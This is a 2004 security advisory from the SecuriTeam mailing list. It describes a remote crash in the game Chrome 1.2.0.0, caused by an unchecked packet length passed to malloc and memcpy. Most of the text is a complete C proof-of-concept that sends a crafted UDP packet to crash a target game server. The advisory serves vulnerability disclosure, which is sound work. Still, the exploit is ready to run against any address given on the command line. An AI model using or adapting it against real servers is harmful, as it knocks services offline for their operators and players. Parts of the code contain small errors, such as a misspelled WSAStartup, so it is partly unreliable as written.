

# [NT] Chrome Server Crash When Handling Crafted Packets

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0063.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 03/24/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 24 Mar 2004 10:17:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Chrome Server Crash When Handling Crafted Packets

---

## SUMMARY

<<http://www.chromethegame.com>> Chrome is a cool game developed by Techland (<http://www.techland.pl>) and is a futuristic FPP (First Person Perspective) shooting game whose takes action on a planet of another solar system called Valkyria.

A bug exists in the way the program handles packets in both the servers' side and the clients' side. The bug allows an attacker to crash the program remotely.

## DETAILS

Vulnerable Systems:

\* Chrome version 1.2.0.0 and prior

Using a specially crafted packet it is possible to cause the game or game server to crash. The problem lies in a snippet of code similar to the following:

```
buff = malloc(value);
```

## Securiteam: [NT] Chrome Server Crash When Handling Crafted Packets

```
memcpy(buff, packet + 8, value);
```

Technically, 'value' is a 32 bit unsigned value located at offset 4 of the packet and is used as the data's length. The 'packet' is a pointer to the packet received and it seems that the data portion of the packet is being copied into a new buffer.

If the 'value' argument is too large (such as 4 GB), the malloc function will fail. There is no code to prevent this, i.e.: no sanity checking on the size of the input and/or a check that the pointer is indeed valid. Therefore, in case malloc fails, the game attempts to copy data into unallocated memory, into a pointer with a value of 0x00000000. However, if 'value' is big but malloc succeeds in allocating the memory, the game will still crash because copying past the packet's bounds will cause memcpy to read memory that is possibly unallocated, resulting in a crash.

Proof of Concept Code

```
/*
```

by Luigi Auriemma

UNIX & WIN VERSION – <http://aluigi.altervista.org/poc/chromeboom.zip>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
```

```
    #include <winsock.h>
    #include "winerr.h"
```

```
    #define close closesocket
```

```
#else
```

```
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
```

```
#endif
```

```
#define VER "0.1"
```

```
#define BUFFSZ 2048
```

```
#define TIMEOUT 5
```

```
#define SPORT 25955
```

```
#define PORT 27015
```

```
#define INFO "\x1C\x00\x00\x00" \
```

```
    "\x0E\x00\x00\x00" \
```

```
    "\x01\x20\x08\x00\x00\x00\x03\x00\x00\x00\xff\xff\xff"
```

```
#define PCK "\x1C\x00\x00\x00" \
```

```
    "\xff\xff\xff\xff" /* BOOM
```

## Securiteam: [NT] Chrome Server Crash When Handling Crafted Packets

```
"\xff\xff\xff\xff": malloc() fails and we get a writing to unallocated  
memory  
"\xff\x10\x00\x00": malloc() ok but we get a reading from unallocated  
memory */
```

```
int timeout(int sock);  
u_long resolv(char *host);  
void std_err(void);  
  
int main(int argc, char *argv[]) {  
    int sd,  
        err,  
        psz;  
    u_short port = PORT;  
    u_char *buff;  
    struct sockaddr_in peer;  
  
    setbuf(stdout, NULL);  
  
    fputs("\n"  
        "Chrome <= 1.2.0.0 server crash "VER"\n"  
        "by Luigi Auriemma\n"  
        "e-mail: aluigi@altervista.org\n"  
        "web: http://aluigi.altervista.org\n"  
        "\n", stdout);  
  
    if(argc < 2) {  
        printf("\n"  
            "Usage: %s <server> [port(%d)]\n"  
            "\n", argv[0], PORT);  
        exit(1);  
    }  
  
#ifdef WIN32  
    WSADATA wsadata;  
    WSASStartup(MAKEWORD(1,0), &wsadata);  
#endif  
  
    if(argc > 2) port = atoi(argv[2]);  
    peer.sin_addr.s_addr = resolv(argv[1]);  
    peer.sin_port = htons(port);  
    peer.sin_family = AF_INET;  
    psz = sizeof(peer);  
  
    printf("\nTarget %s:%hu\n",  
        inet_ntoa(peer.sin_addr), port);  
  
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);  
    if(sd < 0) std_err();
```

## Securiteam: [NT] Chrome Server Crash When Handling Crafted Packets

```
    /* CHECK */
    fputs("- Checking if server is online\n", stdout);
    if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
psz)
    < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nError: socket timeout, probably server is not online\n",
stdout);
        exit(1);
    }

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
    if(err < 0) std_err();
    if(err > 23) {
        err = buff[22];
        buff[err + 22] = 0x00;
        printf(" Server name: %s\n", buff + 23);
        err = buff[err + 23] + err + 24;
        buff[err] = 0x00;
        printf(" Map: %s\n", buff + 24 + buff[22]);
    }

    /* BOOM */
    fputs("- Sending BOOM packet\n", stdout);
    if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, psz)
    < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!!!!!\n\n", stdout);
    } else {
        fputs("\nServer is not vulnerable\n\n", stdout);
    }
    close(sd);

    return(0);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
}
```

## Securiteam: [NT] Chrome Server Crash When Handling Crafted Packets

```
return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifdef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:alugi@altervista.org>> Luigi Auriemma.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.